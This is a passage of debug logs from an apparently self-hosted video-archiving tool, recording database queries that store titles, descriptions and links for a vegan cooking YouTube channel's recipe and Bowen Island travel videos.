janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "CACAO ORANGE GRANOLA // vegan, gluten-free, 11 ingredients, easy breakfast! ✔️", "1ae4a371-352b-4dd6-b43a-b9704b140427", 1, [], false, "QGipOq83NUQ", "https://www.youtube.com/watch?v=QGipOq83NUQ", 367, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 CACAO ORANGE GRANOLA ⧸⧸ vegan, gluten-free, 11 ingredients, easy breakfast! ✔️/CACAO ORANGE GRANOLA ⧸⧸ vegan, gluten-free, 11 ingredients, easy breakfast! ✔️ [QGipOq83NUQ].NA", false, false, false, 4, ~U[2022-05-23 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This Cacao Orange Granola is a total FLAVOUR BOMB and will be a game-changer in your easy breakfasts lineup! It's vegan and gluten-free and only uses 11 ingredients, and couldn't be simpler to throw together. \n\nLIKE THIS VIDEO + SAVE THIS RECIPE! ✔️ DON'T FORGET TO SUBSCRIBE!\n\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/cacao-orange-...\n\nThis cacao orange granola is just so dang yummy. Is there anything that chocolate doesn’t taste good with? When I’m in the mood for something crunchy I’ll just eat a handful of this stuff straight out of the jar, but I have been known to enjoy it over some coconut yogurt with fruit, or simply just eat it like cereal with some non dairy milk.\nHowever you like your granola, I’m positive you’re going to be a fan of this stuff.\n\n\nWant more delicious chocolatey treats? These other recipes might interest you!\n7-INGREDIENT PROTEIN BARS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\nDARK CHOCOLATE FRUITY NUT CLUSTERS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "CACAO ORANGE GRANOLA // vegan, gluten-free, 11 ingredients, easy breakfast! ✔️", 1, nil, false, "QGipOq83NUQ", "https://www.youtube.com/watch?v=QGipOq83NUQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 CACAO ORANGE GRANOLA ⧸⧸ vegan, gluten-free, 11 ingredients, easy breakfast! ✔️/CACAO ORANGE GRANOLA ⧸⧸ vegan, gluten-free, 11 ingredients, easy breakfast! ✔️ [QGipOq83NUQ].NA", false, ~U[2022-05-23 00:00:00Z]] 20:31:08.703 [debug] QUERY OK source="sources" db=0.6ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.705 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-03 00:00:00Z], 1] 20:31:08.706 [debug] QUERY OK source="media_items" db=1.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Are you heading to Bowen Island, BC and want to find some vegan and gluten-free options during your stay? Here are some of my favourite meals and the best restaurants for you to check out! There are so many amazing restaurants that offer lots of dishes that cater to different diets and allergies. \n\nWant more tips before heading to Bowen Island? Check out my full travel vlog for my Bowen Island trip!\nVIDEO: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0ate\u00A0this\u00A0weekend\u00A0on\u00A0Bowen\u00A0Island!\u00A0*...\u00A0\u00A0\n\nDid you enjoy this video? Please LIKE it and SUBSCRIBE to my channel!\n\nWHERE WE ATE\nRUSTIQUE BISTRO: https://rustiquebistro.me/get-delivery\nTruffle Fries (no parmesan)\nVegan Power Bowl\nCrispy Fried Cauli\n\nTUSCANY RESTAURANT: https://www.tuscanypizza.com/pizza-me...\nBella Funghi Pizza (ask for vegan mozzarella, GF crust)\nThe Tuscany Pizza (no brie, ask for vegan mozzarella, GF crust)\n\nBRANCH CAFE: https://www.branchonbowen.com\nZo Zo Sweet Potato Tacos\nEarnest Ice Cream (Cookies 'N Cream *not GF*, PB Pretzel *not GF*, Toasted Coconut *IS GF*)\n\nTELL YOUR FRIENDS CAFE: \nYogurt & Granola Parfait (ask for Yoggu vegan yogurt, *IS GF*)\n\u00A0\u00A0/\u00A0tellyourfriendscafe\u00A0\u00A0\n\n(not in video) COCOA WEST CHOCOLATIER: https://cocoawest.com\nVegan House-Made Chocolates\nNon Dairy Milk offerings\n\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱", "f81fe9e1-c84c-47d7-bc40-01f25802b0e5", 1, [], false, "OX3BXyo6XV8", "https://www.youtube.com/watch?v=OX3BXyo6XV8", 368, "/downloads/downloads/alec/Steamy Vegan/2022-05-03 My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱/My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱 [OX3BXyo6XV8].NA", false, false, false, 3, ~U[2022-05-03 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Are you heading to Bowen Island, BC and want to find some vegan and gluten-free options during your stay? Here are some of my favourite meals and the best restaurants for you to check out! There are so many amazing restaurants that offer lots of dishes that cater to different diets and allergies. \n\nWant more tips before heading to Bowen Island? Check out my full travel vlog for my Bowen Island trip!\nVIDEO: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0ate\u00A0this\u00A0weekend\u00A0on\u00A0Bowen\u00A0Island!\u00A0*...\u00A0\u00A0\n\nDid you enjoy this video? Please LIKE it and SUBSCRIBE to my channel!\n\nWHERE WE ATE\nRUSTIQUE BISTRO: https://rustiquebistro.me/get-delivery\nTruffle Fries (no parmesan)\nVegan Power Bowl\nCrispy Fried Cauli\n\nTUSCANY RESTAURANT: https://www.tuscanypizza.com/pizza-me...\nBella Funghi Pizza (ask for vegan mozzarella, GF crust)\nThe Tuscany Pizza (no brie, ask for vegan mozzarella, GF crust)\n\nBRANCH CAFE: https://www.branchonbowen.com\nZo Zo Sweet Potato Tacos\nEarnest Ice Cream (Cookies 'N Cream *not GF*, PB Pretzel *not GF*, Toasted Coconut *IS GF*)\n\nTELL YOUR FRIENDS CAFE: \nYogurt & Granola Parfait (ask for Yoggu vegan yogurt, *IS GF*)\n\u00A0\u00A0/\u00A0tellyourfriendscafe\u00A0\u00A0\n\n(not in video) COCOA WEST CHOCOLATIER: https://cocoawest.com\nVegan House-Made Chocolates\nNon Dairy Milk offerings\n\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱", 1, nil, false, "OX3BXyo6XV8", "https://www.youtube.com/watch?v=OX3BXyo6XV8", "/downloads/downloads/alec/Steamy Vegan/2022-05-03 My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱/My top vegan and gluten-free options on Bowen Island, BC! Best restaurants and favourite meals 🌱 [OX3BXyo6XV8].NA", false, ~U[2022-05-03 00:00:00Z]] 20:31:08.708 [debug] QUERY OK source="sources" db=0.9ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.710 [debug] QUERY OK source="media_items" db=1.9ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-30 00:00:00Z], 1] 20:31:08.711 [debug] QUERY OK source="media_items" db=1.2ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We ate like vegan kings and queens on Bowen Island this weekend celebrating our 5 year wedding anniversary! 🌱If you are planning an island getaway, don't miss out on these places to eat that offer vegan and gluten-free options 😁\n\nBowen Island is only a 20-minute ferry ride away from North Vancouver's Horseshoe Bay and is a place you do NOT want to skip by if you're visiting Vancouver. Perfect for a weekend away or even just a day trip, there's tons of restaurants that offer both vegan and gluten-free options, plus, amazing hikes, walks, and stunning sights everywhere you go!\n\nDid you enjoy this video and get any value from it? PLEASE GIVE IT A LIKE and HIT THAT SUBSCRIBE BUTTON 😍\n\nWHERE WE ATE\nCARTEMS DONUTS (in Vancouver): https://cartems.com\nSmoked Maple Walnut, Vanilla Bean, Double Chocolate, Earl Grey, Salted Caramel, Carrot Cake (ALL VEGAN GF!)\nRUSTIQUE BISTRO: https://rustiquebistro.me/get-delivery\nTruffle Fries (no parmesan)\nVegan Power Bowl\nCrispy Fried Cauli\nTUSCANY RESTAURANT: https://www.tuscanypizza.com/pizza-me...\nBella Funghi Pizza (ask for vegan mozzarella, GF crust)\nThe Tuscany Pizza (no brie, ask for vegan mozzarella, GF crust)\nBRANCH CAFE: https://www.branchonbowen.com\nZo Zo Sweet Potato Tacos\nEarnest Ice Cream (Cookies 'N Cream *not GF*, PB Pretzel *not GF*, Toasted Coconut *IS GF*)\nTELL YOUR FRIENDS CAFE: \nYogurt & Granola Parfait (ask for Yoggu vegan yogurt, *IS GF*)\n\u00A0\u00A0/\u00A0tellyourfriendscafe\u00A0\u00A0\nCOCOA WEST CHOCOLATIER: https://cocoawest.com\nVegan House-Made Chocolates\nNon Dairy Milk offerings\n\nWHERE WE STAYED\n'THE CHOCOLATE SUITE' by COCOA WEST CHOCOLATIER: https://cocoawest.com/pages/sweet-dreams\n\nWHERE WE HIKED/EXPLORED\nTUNSTALL BEACH\nCAPE ROGER CURTIS SEA WALK\nDORMAN POINT\nSNUG COVE MARINA\nHEADWATERS PARK/TRAIL\n\n\nMusic by Mark Generous - Journal - https://thmatc.co/?l=FC68175F\n\nMusic by Naomi - Osaka - https://thmatc.co/?l=B2540BE7\n\nMusic by Reggie San Miguel - Snowfall - https://thmatc.co/?l=444A4689\n\nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC*", "020b8577-7b9b-4274-83f6-d85ca1e8578d", 1, [], false, "nu4z1cbo8QQ", "https://www.youtube.com/watch?v=nu4z1cbo8QQ", 369, "/downloads/downloads/alec/Steamy Vegan/2022-04-30 What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC*/What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC* [nu4z1cbo8QQ].NA", false, false, false, 2, ~U[2022-04-30 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We ate like vegan kings and queens on Bowen Island this weekend celebrating our 5 year wedding anniversary! 🌱If you are planning an island getaway, don't miss out on these places to eat that offer vegan and gluten-free options 😁\n\nBowen Island is only a 20-minute ferry ride away from North Vancouver's Horseshoe Bay and is a place you do NOT want to skip by if you're visiting Vancouver. Perfect for a weekend away or even just a day trip, there's tons of restaurants that offer both vegan and gluten-free options, plus, amazing hikes, walks, and stunning sights everywhere you go!\n\nDid you enjoy this video and get any value from it? PLEASE GIVE IT A LIKE and HIT THAT SUBSCRIBE BUTTON 😍\n\nWHERE WE ATE\nCARTEMS DONUTS (in Vancouver): https://cartems.com\nSmoked Maple Walnut, Vanilla Bean, Double Chocolate, Earl Grey, Salted Caramel, Carrot Cake (ALL VEGAN GF!)\nRUSTIQUE BISTRO: https://rustiquebistro.me/get-delivery\nTruffle Fries (no parmesan)\nVegan Power Bowl\nCrispy Fried Cauli\nTUSCANY RESTAURANT: https://www.tuscanypizza.com/pizza-me...\nBella Funghi Pizza (ask for vegan mozzarella, GF crust)\nThe Tuscany Pizza (no brie, ask for vegan mozzarella, GF crust)\nBRANCH CAFE: https://www.branchonbowen.com\nZo Zo Sweet Potato Tacos\nEarnest Ice Cream (Cookies 'N Cream *not GF*, PB Pretzel *not GF*, Toasted Coconut *IS GF*)\nTELL YOUR FRIENDS CAFE: \nYogurt & Granola Parfait (ask for Yoggu vegan yogurt, *IS GF*)\n\u00A0\u00A0/\u00A0tellyourfriendscafe\u00A0\u00A0\nCOCOA WEST CHOCOLATIER: https://cocoawest.com\nVegan House-Made Chocolates\nNon Dairy Milk offerings\n\nWHERE WE STAYED\n'THE CHOCOLATE SUITE' by COCOA WEST CHOCOLATIER: https://cocoawest.com/pages/sweet-dreams\n\nWHERE WE HIKED/EXPLORED\nTUNSTALL BEACH\nCAPE ROGER CURTIS SEA WALK\nDORMAN POINT\nSNUG COVE MARINA\nHEADWATERS PARK/TRAIL\n\n\nMusic by Mark Generous - Journal - https://thmatc.co/?l=FC68175F\n\nMusic by Naomi - Osaka - https://thmatc.co/?l=B2540BE7\n\nMusic by Reggie San Miguel - Snowfall - https://thmatc.co/?l=444A4689\n\nMusic by Mark Generous - Lanikai - https://thmatc.co/?l=B31B0D7E\n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC*", 1, nil, false, "nu4z1cbo8QQ", "https://www.youtube.com/watch?v=nu4z1cbo8QQ", "/downloads/downloads/alec/Steamy Vegan/2022-04-30 What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC*/What I ate this weekend on Bowen Island! *vegan and gluten-free guide to Bowen Island, BC* [nu4z1cbo8QQ].NA", false, ~U[2022-04-30 00:00:00Z]] 20:31:08.712 [debug] QUERY OK source="sources" db=0.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.714 [debug] QUERY OK source="media_items" db=1.3ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-03 00:00:00Z], 1] 20:31:08.716 [debug] QUERY OK source="media_items" db=1.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Need muffins ASAP? Make these gluten-free vegan muffins! Easy instructions, delicious ingredients and affordable to make. Say hello to TURMERIC GINGER BANANA MUFFINS and APPLE MATCHA ZUCCHINI MUFFINS! \n\nRECIPES ON THE BLOG:\nTURMERIC GINGER BANANA MUFFINS: https://steamyvegan.com/turmeric-ging...\nAPPLE MATCHA ZUCCHINI MUFFINS: https://steamyvegan.com/apple-matcha-...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by frumhere - shoot for the moon - https://thmatc.co/?l=7B65C2A5\nMusic by frumhere - murietta drive. - https://thmatc.co/?l=CEF8947F\nMusic by frumhere - the place we go. - https://thmatc.co/?l=452E5134\nMusic by frumhere - the sad bandits - https://thmatc.co/?l=17E85BD2\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱", "bc7104ad-f977-456c-ad79-db1b6e7db351", 1, [], false, "rbgmMCjH64o", "https://www.youtube.com/watch?v=rbgmMCjH64o", 370, "/downloads/downloads/alec/Steamy Vegan/2022-03-03 GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱/GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱 [rbgmMCjH64o].NA", false, false, false, 1, ~U[2022-03-03 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Need muffins ASAP? Make these gluten-free vegan muffins! Easy instructions, delicious ingredients and affordable to make. Say hello to TURMERIC GINGER BANANA MUFFINS and APPLE MATCHA ZUCCHINI MUFFINS! \n\nRECIPES ON THE BLOG:\nTURMERIC GINGER BANANA MUFFINS: https://steamyvegan.com/turmeric-ging...\nAPPLE MATCHA ZUCCHINI MUFFINS: https://steamyvegan.com/apple-matcha-...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by frumhere - shoot for the moon - https://thmatc.co/?l=7B65C2A5\nMusic by frumhere - murietta drive. - https://thmatc.co/?l=CEF8947F\nMusic by frumhere - the place we go. - https://thmatc.co/?l=452E5134\nMusic by frumhere - the sad bandits - https://thmatc.co/?l=17E85BD2\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱", 1, nil, false, "rbgmMCjH64o", "https://www.youtube.com/watch?v=rbgmMCjH64o", "/downloads/downloads/alec/Steamy Vegan/2022-03-03 GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱/GLUTEN-FREE VEGAN MUFFINS! | 2 easy, delicious and affordable muffin recipes for beginner vegans! 🌱 [rbgmMCjH64o].NA", false, ~U[2022-03-03 00:00:00Z]] 20:31:08.717 [debug] QUERY OK source="sources" db=0.7ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.718 [debug] QUERY OK source="media_items" db=1.5ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-25 00:00:00Z], 1] 20:31:08.720 [debug] QUERY OK source="media_items" db=1.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This VEGAN NOURISH BOWL with SPICY COCONUT RICE is what easy vegan lunch/dinner dreams are made of 😍 \n\nSometimes I get a craving for all the things at once - sweet, spicy, hot, creamy, crunchy, fresh... what's a human to do?! Whether it's lunch or dinner, weeknight or weekend, you can easily prepare a Nourish Bowl and satisfy all those hankerings. \n\nNourish Bowls are your best friend when it comes to cozy cold-weather eats! The customization is endless as you can switch up the ingredients every time you make them. They're so filling, nutritious and yummy and are perfect for meal prepping or batch-cooking to save you time throughout the week.\n\nFULL RECIPE + INSTRUCTIONS ⬇️\nhttps://steamyvegan.com/nourish-bowls...\n\nWant more cozy, comforting recipe ideas? These other recipes on my blog might interest you! YouTube Video linked in each blog 😌\n\nROASTED CARROT, BEET + BRUSSELS SALAD: https://steamyvegan.com/roasted-carro...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by ninjoi. - Where Do I Go - https://thmatc.co/?l=D9D5BB1D\nMusic by Mark Generous - Ease In - https://thmatc.co/?l=A851FC95", "VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱", "a7028e14-7ad8-4a07-b124-0b959d00f710", 1, [], false, "QwOW-lZ0uck", "https://www.youtube.com/watch?v=QwOW-lZ0uck", 371, "/downloads/downloads/alec/Steamy Vegan/2022-02-25 VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱/VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱 [QwOW-lZ0uck].NA", false, false, false, 1, ~U[2022-02-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This VEGAN NOURISH BOWL with SPICY COCONUT RICE is what easy vegan lunch/dinner dreams are made of 😍 \n\nSometimes I get a craving for all the things at once - sweet, spicy, hot, creamy, crunchy, fresh... what's a human to do?! Whether it's lunch or dinner, weeknight or weekend, you can easily prepare a Nourish Bowl and satisfy all those hankerings. \n\nNourish Bowls are your best friend when it comes to cozy cold-weather eats! The customization is endless as you can switch up the ingredients every time you make them. They're so filling, nutritious and yummy and are perfect for meal prepping or batch-cooking to save you time throughout the week.\n\nFULL RECIPE + INSTRUCTIONS ⬇️\nhttps://steamyvegan.com/nourish-bowls...\n\nWant more cozy, comforting recipe ideas? These other recipes on my blog might interest you! YouTube Video linked in each blog 😌\n\nROASTED CARROT, BEET + BRUSSELS SALAD: https://steamyvegan.com/roasted-carro...\nLOADED LAZY NOODLE BOWLS: https://steamyvegan.com/loaded-lazy-n...\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by ninjoi. - Where Do I Go - https://thmatc.co/?l=D9D5BB1D\nMusic by Mark Generous - Ease In - https://thmatc.co/?l=A851FC95", "VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱", 1, nil, false, "QwOW-lZ0uck", "https://www.youtube.com/watch?v=QwOW-lZ0uck", "/downloads/downloads/alec/Steamy Vegan/2022-02-25 VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱/VEGAN NOURISH BOWLS with SPICY COCONUT RICE 🌶 STEP-BY-STEP | Easy vegan lunch or dinner idea 🌱 [QwOW-lZ0uck].NA", false, 